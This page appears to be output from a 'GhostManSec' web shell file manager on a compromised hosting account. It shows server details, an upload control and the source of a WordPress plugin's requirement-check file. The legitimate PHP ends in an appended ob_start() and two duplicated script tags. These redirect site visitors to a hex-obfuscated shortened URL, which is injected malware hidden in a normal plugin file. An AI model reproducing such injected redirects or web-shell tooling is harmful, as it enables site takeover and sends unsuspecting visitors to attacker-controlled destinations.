GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/requirement.php
<?php
/**
 * Handle checking requirements.
 *
 * @package Depicter
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! function_exists( 'depicter_requirements_satisfied' ) ) {

	/**
	 * Whether required php version is available or not.
	 *
	 * @param string $name Project name.
	 * @param string $min Minimum PHP version.
	 *
	 * @return bool
	 */
	function depicter_requirements_satisfied( $name, $min ) {

		if ( version_compare( PHP_VERSION, $min, '>=' ) ) {
		    return depicter_check_opcache( $name );
		}

		add_action(
			'admin_notices',
			function () use ( $name, $min ) {
				/* translators: 1: name of plugin, 2: minimum php version required, 3: current php version */
				$message = __( '%1$s plugin requires PHP version %2$s but current version is %3$s. Please contact your host provider and ask them to upgrade PHP version.', 'depicter' );
				?>
				<div class="notice notice-error">
					<p><?php echo wp_kses( sprintf(
						$message,
						'<strong>' . $name . '</strong>',
						'<strong>' . $min . '</strong>',
						'<strong>' . PHP_VERSION . '</strong>'
					), ['strong' => [] ] ); ?></p>
				</div>
				<?php
			}
		);

		// An incompatible version is already loaded.
		return false;
	}

	/**
	 * Check opcache config
	 *
	 * @param $name
	 *
	 * @return bool
	 */
	function depicter_check_opcache( $name ) {

		set_error_handler(function(){});
		$has_opcache_status = function_exists('opcache_get_status') && opcache_get_status();
		restore_error_handler();

		if ( $has_opcache_status ) {
			if ( ! function_exists('opcache_get_configuration') ){
				return true;
			}
			// Some security settings in OpCache can prevent calling `opcache_get_status()` and `opcache_get_configuration()`
			// To prevent any unwanted warnings, we buffer the output here
			ob_start();
			$config = opcache_get_configuration();
			ob_get_clean();

			if ( empty( $config['directives']['opcache.save_comments'] ) ) {
				add_action(
					'admin_notices',
					function () use ( $name ) {
						/* translators: 1: depicter plugin name */
						$message = __( 'Your website uses OpCache but requires the "opcache.save_comments" option enabled for %1$s plugin to work correctly. Please ask your hosting provider to turn on this setting.', 'depicter' );
?>
	<div class="notice notice-error">
		<p><?php echo wp_kses( sprintf( $message, '<strong>'. $name .'</strong>' ), ['strong' => [] ] ); ?></p>
	</div>
<?php
					}
				);

				return false;
			}
		}

		return true;
	}

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>